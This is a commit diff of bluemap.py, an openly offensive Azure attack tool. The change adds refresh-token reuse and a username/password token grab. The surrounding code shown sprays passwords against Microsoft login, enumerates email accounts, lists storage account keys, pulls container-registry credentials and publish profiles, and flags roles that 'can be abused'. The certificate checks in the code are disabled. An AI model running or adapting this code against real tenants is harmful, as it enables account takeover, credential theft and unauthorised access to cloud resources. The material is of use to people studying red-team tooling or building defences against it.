Projects STRLCPY BlueMap Commits ccc10c5c
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    bluemap.py
    skipped 1 lines
    2 2  import json, sys
    3 3  import uuid
    4 4  import os
     5 +import uuid
    5 6  import random
    6 7  import string
    7 8  import http.client
    skipped 6 lines
    14 15  import ssl, re
    15 16   
    16 17  Token = None
     18 +RefreshToken = None
     19 +AutoGenToken = False
    17 20  accessTokenGraph = None
    18 21  accessTokenVault = None
    19 22  storageAccessToken = None
    skipped 45 lines
    65 68   rows.append(row)
    66 69   rows.append(end)
    67 70   return "\n".join([title,header, sep] + rows)
     71 + 
    68 72  def sendGETRequest(url, Token):
    69 73   object = {}
    70 74   o = urlparse(url)
    skipped 66 lines
    137 141   return object
    138 142   
    139 143   
    140  -def sendPOSTRequestSprayMSOL(url, user, pwd):
     144 +def sendPOSTRequestSprayMSOL(url, user, pwd, resourceMgmt):
    141 145   object = {}
    142 146   o = urlparse(url)
    143 147   ctx = ssl.create_default_context()
    skipped 5 lines
    149 153   'Content-Type': 'application/x-www-form-urlencoded'
    150 154   }
    151 155   data = {
    152  - 'resource': 'https://graph.windows.net',
    153 156   'client_id': '1b730954-1685-4b74-9bfd-dac224a7b894',
    154 157   'client_info': '1',
    155 158   'grant_type': 'password',
    skipped 1 lines
    157 160   'password': pwd,
    158 161   'scope': 'openid'
    159 162   }
     163 + if resourceMgmt:
     164 + data['resource'] = 'https://management.azure.com/'
     165 + else:
     166 + data['resource'] = 'https://graph.windows.net'
    160 167   qs = urllib.parse.urlencode(data)
    161 168   conn.request("POST", str(o.path) + "/?" + str(o.query), qs, headers)
    162 169   res = conn.getresponse()
    skipped 6 lines
    169 176   pass
    170 177   return object
    171 178   
     179 +def sendPOSTRequestRefreshToken(tenantId, token):
     180 + object = {}
     181 + o = urlparse("https://login.microsoftonline.com/"+str(tenantId)+"/oauth2/v2.0/token")
     182 + ctx = ssl.create_default_context()
     183 + ctx.check_hostname = False
     184 + ctx.verify_mode = ssl.CERT_NONE
     185 + conn = http.client.HTTPSConnection(o.netloc)
     186 + headers = {
     187 + 'Content-Type': 'application/x-www-form-urlencoded'
     188 + }
     189 + data = {
     190 + 'grant_type': 'refresh_token',
     191 + 'refresh_token': token,
     192 + }
     193 + qs = urllib.parse.urlencode(data)
     194 + conn.request("POST", str(o.path), qs, headers)
     195 + res = conn.getresponse()
     196 + object["headers"] = dict(res.getheaders())
     197 + object["status_code"] = int(res.status)
     198 + object["response"] = str(res.read().decode("utf-8"))
     199 + try:
     200 + object["json"] = json.loads(object["response"])
     201 + except json.JSONDecodeError:
     202 + pass
     203 + return object
     204 + 
    172 205  def sendPUTRequest(url, body, Token):
    173 206   object = {}
    174 207   o = urlparse(url)
    skipped 66 lines
    241 274   Token = token
    242 275   
    243 276   
     277 +def initRefreshToken(TokenRF):
     278 + global RefreshToken
     279 + RefreshToken = TokenRF
     280 + 
    244 281  def initToken(token, resetscopes):
    245 282   global Token, hasMgmtAccess, hasGraphAccess, hasVaultEnabled,TargetSubscription, TargetTenantId
    246 283   if resetscopes:
    skipped 21 lines
    268 305   global Token, hasMgmtAccess
    269 306   hasMgmtAccess = True
    270 307   Token = token
    271  - 
    272 308   
    273 309  def currentScope():
    274 310   global hasMgmtAccess, hasGraphAccess, hasVaultEnabled
    skipped 24 lines
    299 335   else:
    300 336   print(strigify[1] + "\\" + strigify[0])
    301 337   
    302  -def RD_ListAllVMs():
    303  - global Token
    304  - result = []
    305  - rs = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
    306  - for sub in rs['json']['value']:
    307  - for res in getResGroup(sub['subscriptionId'])['value']:
    308  - rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Compute/virtualMachines?api-version=2022-08-01", Token)
    309  - for item in rsVM['json']['value']:
    310  - if 'identity' not in item:
    311  - item['identity'] = "N/A"
    312  - 
    313  - item['subscriptionId'] = sub['subscriptionId']
    314  - item['resourceGroup'] = res['name']
    315  - result.append(item)
    316  - return result
    317  - 
    318 338  def ENUM_MSOLSpray(username,password):
    319  - r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", username, password)
     339 + r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", username, password, False)
    320 340   if r["status_code"] == 200:
    321 341   return True
    322 342   else:
    skipped 17 lines
    340 360   else:
    341 361   return "Got unknown error"
    342 362   
     363 + 
     364 + 
     365 +def ReloadToken():
     366 + global RefreshToken
     367 + r = sendPOSTRequestRefreshToken(parseTenantId(), RefreshToken )
     368 + response = r["json"]
     369 + if 'access_token' in response:
     370 + initToken(response['access_token'], True)
     371 + initRefreshToken(response['refresh_token'])
     372 + 
     373 +'''
     374 + The method used to check token state and refresh if needed
     375 + TBD: Implement same logic for other methods as well
     376 +'''
     377 +def CheckSubscriptionReqState():
     378 + global Token
     379 + r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     380 + if len(r['json']) == 0:
     381 + return r
     382 + else:
     383 + ReloadToken()
     384 + r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     385 + return r
    343 386   
    344 387  ''' Based on AADInternals Research (https://aadinternals.com/post/just-looking/) '''
    345 388   
    skipped 104 lines
    450 493  def RD_ListExposedWebApps():
    451 494   global Token
    452 495   result = []
    453  - r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     496 + r = CheckSubscriptionReqState()
    454 497   for sub in r['json']['value']:
    455 498   for res in getResGroup(sub['subscriptionId'])['value']:
    456 499   rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Web/sites?api-version=2022-03-01", Token)
    457  - for item in rsVM['json']['value']:
    458  - if 'identity' not in item:
    459  - item['identity'] = "N/A"
     500 + if len(rsVM['json']) == 0:
     501 + return result
     502 + else:
     503 + for item in rsVM['json']['value']:
     504 + if 'identity' not in item:
     505 + item['identity'] = "N/A"
    460 506   
    461  - item['subscriptionId'] = sub['subscriptionId']
    462  - item['resourceGroup'] = res['name']
    463  - result.append(item)
    464  - return result
     507 + item['subscriptionId'] = sub['subscriptionId']
     508 + item['resourceGroup'] = res['name']
     509 + result.append(item)
     510 + return result
    465 511   
    466 512  def RD_ListAllDeployments():
    467 513   global Token
    468 514   result = []
    469  - r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     515 + r = CheckSubscriptionReqState()
    470 516   for sub in r['json']['value']:
    471 517   rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub["subscriptionId"]+"/providers/Microsoft.Web/sites?api-version=2022-03-01", Token)
    472  - for item in rsVM['json']['value']:
    473  - result.append(item)
    474  - return result
     518 + if len(rsVM['json']) == 0:
     519 + return result
     520 + else:
     521 + for item in rsVM['json']['value']:
     522 + result.append(item)
     523 + return result
    475 524   
    476 525  def RD_ListAllACRs():
    477 526   global Token
    478  - r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
    479  - for sub in r['json']['value']:
    480  - rsub = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.ContainerRegistry/registries?api-version=2019-05-01", Token)
    481  - return rsub['json']
     527 + r = CheckSubscriptionReqState()
     528 + if len(r['json']) == 0:
     529 + return False
     530 + else:
     531 + for sub in r['json']['value']:
     532 + rsub = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.ContainerRegistry/registries?api-version=2019-05-01", Token)
     533 + return rsub['json']
    482 534   return False
    483 535   
    484 536  def HLP_GetACRCreds(acrId):
    skipped 81 lines
    566 618  def RD_ListAllVMs():
    567 619   global Token
    568 620   result = []
    569  - r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     621 + r = CheckSubscriptionReqState()
    570 622   for sub in r['json']['value']:
    571 623   for res in getResGroup(sub['subscriptionId'])['value']:
    572 624   rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Compute/virtualMachines?api-version=2022-08-01", Token)
    573  - for item in rsVM['json']['value']:
    574  - if 'identity' not in item:
    575  - item['identity'] = "N/A"
     625 + if len(rsVM['json']) == 0:
     626 + return result
     627 + else:
     628 + for item in rsVM['json']['value']:
     629 + if 'identity' not in item:
     630 + item['identity'] = "N/A"
    576 631   
    577  - item['subscriptionId'] = sub['subscriptionId']
    578  - item['resourceGroup'] = res['name']
    579  - result.append(item)
    580  - return result
     632 + item['subscriptionId'] = sub['subscriptionId']
     633 + item['resourceGroup'] = res['name']
     634 + result.append(item)
     635 + return result
    581 636   
    582 637  def RD_ListAllVaults():
    583 638   global Token
    584 639   result = []
    585  - rs = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     640 + rs = CheckSubscriptionReqState()
    586 641   for sub in rs['json']['value']:
    587 642   for res in getResGroup(sub['subscriptionId'])['value']:
    588 643   rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.KeyVault/vaults?api-version=2021-10-01", Token)
    skipped 2 lines
    591 646   item['resourceGroup'] = res['name']
    592 647   result.append(item)
    593 648   return result
     649 + 
    594 650  def RD_ListAllStorageAccountsKeys(AccId):
    595 651   global Token
    596 652   r = sendPOSTRequest("https://management.azure.com/"+AccId+"/listKeys?api-version=2022-05-01", None, Token)
    skipped 2 lines
    599 655  def RD_ListAllStorageAccounts():
    600 656   global Token
    601 657   result = []
    602  - r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     658 + r = CheckSubscriptionReqState()
    603 659   for sub in r['json']['value']:
    604 660   for res in getResGroup(sub['subscriptionId'])['value']:
    605 661   rsVM = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Storage/storageAccounts?api-version=2021-09-01", Token)
    606  - for item in rsVM['json']['value']:
     662 + if len(rsVM['json']) == 0:
     663 + return result
     664 + else:
     665 + for item in rsVM['json']['value']:
    607 666   
    608  - item['subscriptionId'] = sub['subscriptionId']
    609  - item['resourceGroup'] = res['name']
     667 + item['subscriptionId'] = sub['subscriptionId']
     668 + item['resourceGroup'] = res['name']
    610 669   
    611  - if 'allowSharedKeyAccess' not in item['properties']:
    612  - item['allowSharedKeyAccess'] = "N/A"
    613  - else:
    614  - item['allowSharedKeyAccess'] = item['properties']['allowSharedKeyAccess']
     670 + if 'allowSharedKeyAccess' not in item['properties']:
     671 + item['allowSharedKeyAccess'] = "N/A"
     672 + else:
     673 + item['allowSharedKeyAccess'] = item['properties']['allowSharedKeyAccess']
     674 + 
     675 + if 'customDomain' not in item['properties']:
     676 + item['customDomain'] = "N/A"
     677 + else:
     678 + item['customDomain'] = item['properties']['customDomain']
    615 679   
    616  - if 'customDomain' not in item['properties']:
    617  - item['customDomain'] = "N/A"
    618  - else:
    619  - item['customDomain'] = item['properties']['customDomain']
     680 + result.append(item)
     681 + return result
    620 682   
    621  - result.append(item)
    622  - return result
    623 683  def CON_GenerateVMDiskSAS(subscriptionId, resourceGroupName, vmDiskName):
    624 684   global Token
    625 685   req = {
    skipped 12 lines
    638 698   rs = sendPOSTRequest("https://management.azure.com/"+SiteId+"/publishxml?api-version=2022-03-01", None, Token)
    639 699   rsConf = sendGETRequest("https://management.azure.com/"+SiteId+"/config/web?api-version=2022-03-01", Token)
    640 700   if rs["status_code"] == 200:
    641  - print(rs["response"])
    642 701   DOMTree = xml.dom.minidom.parseString(rs["response"])
    643 702   xmlContent = DOMTree.documentElement
    644 703   profiles = xmlContent.getElementsByTagName('publishProfile')
    skipped 88 lines
    733 792  def RD_ListAutomationAccounts():
    734 793   global Token
    735 794   result = []
    736  - r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
    737  - for sub in r['json']['value']:
    738  - rsub = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.Automation/automationAccounts?api-version=2021-06-22", Token)
    739  - for item in rsub['json']['value']:
    740  - item['subscriptionId'] = sub['subscriptionId']
    741  - result.append(item)
    742  - return result
     795 + r = CheckSubscriptionReqState()
     796 + if len(r['json']) == 0:
     797 + return result
     798 + else:
     799 + for sub in r['json']['value']:
     800 + rsub = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.Automation/automationAccounts?api-version=2021-06-22", Token)
     801 + for item in rsub['json']['value']:
     802 + item['subscriptionId'] = sub['subscriptionId']
     803 + result.append(item)
     804 + return result
    743 805   
    744 806  def RD_ListRunBooksByAutomationAccounts():
    745 807   global Token
    746 808   result = []
    747  - r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     809 + r = CheckSubscriptionReqState()
    748 810   for sub in r['json']['value']:
    749 811   pathToAutomationAccount = sendGETRequest("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.Automation/automationAccounts?api-version=2021-06-22", Token)
    750  - for automationAccount in pathToAutomationAccount['json']['value']:
    751  - GetRunBook = sendGETRequest("https://management.azure.com/" + str(automationAccount['id']) + "/runbooks?api-version=2019-06-01", Token)
    752  - for item in GetRunBook['json']['value']:
    753  - item['subscriptionId'] = str(sub['subscriptionId'])
    754  - item['automationAccount'] = str(automationAccount['name'])
    755  - result.append(item)
    756  - return result
     812 + if len(pathToAutomationAccount['json']) == 0:
     813 + return result
     814 + else:
     815 + for automationAccount in pathToAutomationAccount['json']['value']:
     816 + GetRunBook = sendGETRequest("https://management.azure.com/" + str(automationAccount['id']) + "/runbooks?api-version=2019-06-01", Token)
     817 + for item in GetRunBook['json']['value']:
     818 + item['subscriptionId'] = str(sub['subscriptionId'])
     819 + item['automationAccount'] = str(automationAccount['name'])
     820 + result.append(item)
     821 + return result
    757 822   
    758 823  def RD_ListARMTemplates():
    759 824   global Token
    760 825   finalResult = []
    761  - rs = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     826 + rs = CheckSubscriptionReqState()
    762 827   for sub in rs['json']['value']:
    763 828   for res in getResGroup(sub['subscriptionId'])['value']:
    764 829   for template in getArmTempPerResGroup(sub['subscriptionId'], res['name'])['value']:
    skipped 9 lines
    774 839   continue
    775 840   finalResult.append(currentdata)
    776 841   return finalResult
     842 +
    777 843  def CHK_AppRegOwner(appId):
    778 844   global accessTokenGraph
    779 845   r = sendGETRequest("https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"), accessTokenGraph)
    skipped 48 lines
    828 894   vaultToken = json.loads(vault.stdout)
    829 895   accessTokenVault = vaultToken['accessToken']
    830 896   hasVaultEnabled = True
    831  - hasGraphAccess = True
    832  - hasMgmtAccess = True
    833  - print("Captured token done. All set!")
    834  - jres = json.loads(add.stdout)
    835  - jresgraph = json.loads(graph.stdout)
    836  - accessToken = jres['accessToken']
    837  - accessTokenGraph = jresgraph['accessToken']
     897 + hasGraphAccess = True
     898 + hasMgmtAccess = True
     899 + print("Captured token done. All set!")
     900 + jres = json.loads(add.stdout)
     901 + jresgraph = json.loads(graph.stdout)
     902 + accessToken = jres['accessToken']
     903 + accessTokenGraph = jresgraph['accessToken']
    838 904   return accessToken
    839 905   except KeyError:
    840 906   return False
    skipped 154 lines
    995 1061   allPermRolesAssignsRecordsCount += 1
    996 1062   print(make_table(field_names2, rows2))
    997 1063   print("Completed.")
     1064 + 
    998 1065  def AutoRecon():
    999 1066   print("\nChecking for current SubscriptionId: " + str(TargetSubscription))
    1000 1067   print("\n===== Checking Available Resources =====\n")
    skipped 18 lines
    1019 1086   
    1020 1087   print("Logged as: ")
    1021 1088   currentProfile()
     1089 + print("User Id: " + parseUPNObjectId())
    1022 1090   currentScope()
     1091 +
    1023 1092   
    1024 1093   print("\n===== Checking all attached subscriptions =====\n")
    1025 1094   
    skipped 15 lines
    1041 1110   
    1042 1111   print("\n===== Checking Current Subscription Permissions =====\n")
    1043 1112   
    1044  - print("Checking all RoleAssignments under SubscriptionId = " + str(TargetSubscription) + "...")
    1045  - allRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription))
    1046  - field_names = ["#", "RoleName", "Scope", "Can Abused?", "Details"]
     1113 + print("Checking all RolePermissions & RoleAssignments under SubscriptionId = " + str(TargetSubscription) + "...\n")
     1114 + 
     1115 + allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription))
     1116 + token = urllib.parse.quote("assignedTo('"+str(parseUPNObjectId())+"')")
     1117 + allRolesAssigns = GetAllRoleAssignmentsForSubscriptionFilterd(str(TargetSubscription),token)
     1118 + field_names = ["#", "RoleName", "Can Abused?", "Details"]
    1047 1119   rows = []
    1048 1120   allRolesAssignsRecordsCount = 0
    1049 1121   for role in range(0, len(allRolesAssigns)):
    skipped 6 lines
    1056 1128   rows.append(
    1057 1129   {"#": allRolesAssignsRecordsCount,
    1058 1130   "RoleName": currentRoleName,
    1059  - "Scope": currentRoleScope,
    1060 1131   "Can Abused?": "Yes",
    1061 1132   "Details": canRoleBeAbused(currentRoleName).split("|")[1]}
    1062 1133   )
    skipped 1 lines
    1064 1135   rows.append(
    1065 1136   {"#": allRolesAssignsRecordsCount,
    1066 1137   "RoleName": currentRoleName,
    1067  - "Scope": currentRoleScope,
    1068 1138   "Can Abused?": "No",
    1069 1139   "Details": "N/A"}
    1070 1140   )
    1071 1141   allRolesAssignsRecordsCount += 1
    1072  - print(make_table(field_names, rows))
    1073  - print("\nChecking all RolePermissions under SubscriptionId = " + str(TargetSubscription) + "...")
    1074  - allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription))
    1075  - field_names2 = ["#", "RoleName", "Permission Assigned", "Can Abused?", "Details"]
    1076  - rows2 = []
    1077  - allPermRolesAssignsRecordsCount = 0
     1142 +
    1078 1143   for rolePermission in range(0, len(allPermRolesAssigns)):
    1079 1144   resultAllRolesAssigns = allPermRolesAssigns
    1080 1145   currentRolePermissionInformation = GetAllRoleDefinitionsUnderId(
    1081 1146   resultAllRolesAssigns['value'][rolePermission]['properties']['roleDefinitionId'])
    1082  - currentRolePermissionName = currentRolePermissionInformation['properties']['roleName']
    1083  - currentRolePermissions = currentRolePermissionInformation['properties']['permissions'][0]['actions']
    1084  - for permission in currentRolePermissions:
    1085  - if canPermissionBeAbused(permission) is not False:
    1086  - rows2.append(
    1087  - {"#": allPermRolesAssignsRecordsCount, "RoleName": currentRolePermissionName,
    1088  - "Permission Assigned": permission, "Can Abused?": "Yes",
    1089  - "Details": canPermissionBeAbused(permission).split("|")[1]}
    1090  - )
    1091  - else:
    1092  - rows2.append(
    1093  - {"#": allPermRolesAssignsRecordsCount, "RoleName": currentRolePermissionName,
    1094  - "Permission Assigned": permission, "Can Abused?": "No",
    1095  - "Details": "N/A"}
    1096  - )
    1097  - allPermRolesAssignsRecordsCount += 1
    1098  - print(make_table(field_names2, rows2))
     1147 + if len(currentRolePermissionInformation) == 0:
     1148 + continue
     1149 + else:
     1150 + currentRolePermissionName = currentRolePermissionInformation['properties']['roleName']
     1151 + currentRolePermissions = currentRolePermissionInformation['properties']['permissions'][0]['actions']
     1152 + for permission in currentRolePermissions:
     1153 + if canPermissionBeAbused(permission) is not False:
     1154 + rows.append(
     1155 + {"#": allRolesAssignsRecordsCount, "RoleName": currentRolePermissionName,
     1156 + "Permission Assigned": permission, "Can Abused?": "Yes",
     1157 + "Details": canPermissionBeAbused(permission).split("|")[1]}
     1158 + )
     1159 + else:
     1160 + rows.append(
     1161 + {"#": allRolesAssignsRecordsCount, "RoleName": currentRolePermissionName,
     1162 + "Permission Assigned": permission, "Can Abused?": "No",
     1163 + "Details": "N/A"}
     1164 + )
     1165 + allRolesAssignsRecordsCount += 1
     1166 + 
     1167 + print(make_table(field_names, rows))
    1099 1168   
    1100 1169   
    1101 1170  def GetAllRoleAssignmentsUnderSubscription(subscriptionId):
    1102 1171   global Token
    1103  - r = sendGETRequest("https://management.azure.com/subscriptions/" + subscriptionId + "/providers/Microsoft.Authorization/roleAssignments?api-version=2015-07-01", Token)
     1172 + r = sendGETRequest("https://management.azure.com/subscriptions/" + subscriptionId + "/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01", Token)
    1104 1173   return r['json']
    1105 1174   
    1106 1175  def GetAllRoleAssignmentsForSubscriptionFilterd(subscriptionId, filter):
    skipped 43 lines
    1150 1219   
    1151 1220  def ListSubscriptionsForToken():
    1152 1221   global Token
    1153  - r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
     1222 + r = CheckSubscriptionReqState()
    1154 1223   return r['json']
    1155 1224   
    1156 1225   
    skipped 20 lines
    1177 1246   print(banner)
    1178 1247   '''
    1179 1248   supportedCommands = [
     1249 + "version",
    1180 1250   "whoami",
    1181 1251   "scopes",
    1182 1252   "get_subs",
    skipped 17 lines
    1200 1270   "back"
    1201 1271   ]
    1202 1272   exploits = [
     1273 + "Token/AuthToken",
    1203 1274   "Token/GenToken",
    1204 1275   "Token/SetToken",
     1276 + "Token/RefreshToken",
    1205 1277   "External/OSINT",
    1206 1278   "External/EmailEnum",
    1207 1279   "External/PasswordSpray",
    skipped 37 lines
    1245 1317   else:
    1246 1318   if mode == "run" and ExploitChoosen is None:
    1247 1319   print("Use run command only within an exploit.")
     1320 + elif mode == "version":
     1321 + print("Bluemap 1.0.0-Beta")
    1248 1322   elif mode == "whoami":
    1249 1323   currentProfile()
    1250 1324   elif mode == "scopes":
    skipped 112 lines
    1363 1437   rows = []
    1364 1438   allRolesAssignsRecordsCount = 0
    1365 1439   for role in range(0, len(allRolesAssigns)):
    1366  - resultAllRolesAssigns = allRolesAssigns
    1367  - currentRoleInformation = GetAllRoleDefinitionsUnderId(resultAllRolesAssigns['value'][role]['properties']['roleDefinitionId'])
    1368  - currentRoleScope = resultAllRolesAssigns['value'][role]['properties']['scope']
     1440 + currentRoleInformation = GetAllRoleDefinitionsUnderId(allRolesAssigns['value'][role]['properties']['roleDefinitionId'])
     1441 + currentRoleScope = allRolesAssigns['value'][role]['properties']['scope']
    1369 1442   currentRoleName = currentRoleInformation['properties']['roleName']
    1370 1443   if canRoleBeAbused(currentRoleName) is not False:
    1371 1444   rows.append(
    skipped 18 lines
    1390 1463   print("Use set_target to set a subscription to work on.")
    1391 1464   else:
    1392 1465   print("Checking all RolePermissions under SubscriptionId = " + str(TargetSubscription) + "...")
    1393  - allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription))
     1466 + token = urllib.parse.quote("assignedTo('"+str(parseUPNObjectId())+"')")
     1467 + allPermRolesAssigns = GetAllRoleAssignmentsForSubscriptionFilterd(TargetSubscription, token)
    1394 1468   field_names = ["#", "RoleName", "Permission Assigned", "Can Abused?", "Details"]
    1395 1469   rows = []
    1396 1470   allPermRolesAssignsRecordsCount = 0
    skipped 77 lines
    1474 1548   setToken("")
    1475 1549   elif "Token/GenToken" in ExploitChoosen and mode == "run":
    1476 1550   print("Trying getting token automatically for you...")
     1551 + AutoGenToken = True
    1477 1552   token = tryGetToken()
    1478 1553   if token:
    1479 1554   initToken(token, False)
    skipped 2 lines
    1482 1557   token = input("Enter Token:")
    1483 1558   initToken(token, True)
    1484 1559   print("All set.")
     1560 + elif "Token/RefreshToken" in ExploitChoosen and mode == "run":
     1561 + ''' For Token/GenToken method '''
     1562 + if AutoGenToken == True:
     1563 + token = tryGetToken()
     1564 + if token:
     1565 + initToken(token, False)
     1566 + print("Token Refresh. Done.")
     1567 + else:
     1568 + ''' For any other manual method (Token/SetToken or Token/AuthToken)'''
     1569 + ReloadToken()
     1570 + print("Token Refresh. Done.")
    1485 1571   elif "Reader/ExposedAppServiceApps" in ExploitChoosen and mode == "run":
    1486 1572   print("Trying to enumerate all external-facing Azure Service Apps..")
    1487 1573   if len(RD_ListExposedWebApps()) < 1:
    skipped 216 lines
    1704 1790   print("Found " + str(subRecordCount) + " total valid domains:")
    1705 1791   print(make_table(field_names, rows))
    1706 1792   print("Operation Completed.")
     1793 + elif "Token/AuthToken" in ExploitChoosen and mode == "run":
     1794 + user = input("Enter Username: ")
     1795 + pwd = input("Enter Password: ")
     1796 + r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", user, pwd, True)
     1797 + response = r["json"]
     1798 + if 'access_token' in response:
     1799 + initToken(response['access_token'], True)
     1800 + initRefreshToken(response['refresh_token'])
     1801 + print("Logged In!")
     1802 + else:
     1803 + print("Invalid username / password")
    1707 1804   elif "External/EmailEnum" in ExploitChoosen and mode == "run":
    1708 1805   DestPath = input("Please enter the path for emails [i.e. C:\\emails.txt]: ")
    1709 1806   if DestPath == "":
    skipped 16 lines
    1726 1823   elif int(technique) == 2:
    1727 1824   for target in open(os.path.normpath(DestPath), 'r').readlines():
    1728 1825   ' based on MSOLSpray method by @dafthack '
    1729  - r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", target.strip(),"a123456")
     1826 + r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", target.strip(),"a123456", False)
    1730 1827   error = r["response"]
    1731 1828   if "AADSTS50034" in error:
    1732 1829   print("The email " + target.strip() + " not found")
    skipped 22 lines
    1755 1852   if chk is True:
    1756 1853   print("Found valid account: " + target.strip() + " / " + Password + "")
    1757 1854   else:
    1758  - if 'Invalid password.' in chk:
    1759  - continue
    1760  - print(chk)
     1855 + continue
    1761 1856   print("Completed Operation.")
    1762 1857   except FileNotFoundError:
    1763 1858   print("Unable to locate file, please check your path.")
    skipped 370 lines
    2134 2229   else:
    2135 2230   print("unkown command.")
    2136 2231   
    2137  -attackWindow()
    2138  - 
    2139  -'''
    2140  -def statupWindow(isFromMenu):
    2141  - if isFromMenu:
    2142  - print("You're out of attack mode.")
    2143  - isFromMenu = False
    2144  - while (True):
    2145  - attackWindow()
    2146  - 
    2147  -
    2148  - opt = input(">> ")
    2149  - if opt == "1":
    2150  - print("Trying getting token automaticlly for you...")
    2151  - initToken(tryGetToken())
    2152  - elif opt == "2":
    2153  - print("Please paste your Azure token here:")
    2154  - token = input("Enter Token:")
    2155  - initToken(token)
    2156  - print("All set.")
    2157  - elif opt == "3":
    2158  - print("Display Current token:")
    2159  - print(getToken())
    2160  - elif opt == "4":
    2161  - print("Resetting token..")
    2162  - setToken("")
    2163  - elif opt == "5":
    2164  - print("Getting into attack mode.. use command help for navigate")
    2165  - attackWindow()
    2166  - elif opt == "6":
    2167  - AboutWindow()
    2168  - elif opt == "whoami":
    2169  - currentProfile()
    2170  - elif opt == "scopes":
    2171  - currentScope()
    2172  - else:
    2173  - displayMenu(True)
    2174  -'''
     2232 +try:
     2233 + attackWindow()
     2234 +except KeyboardInterrupt:
     2235 + print("\nBye..Bye..!")
Please wait...
Page is in error, reload to recover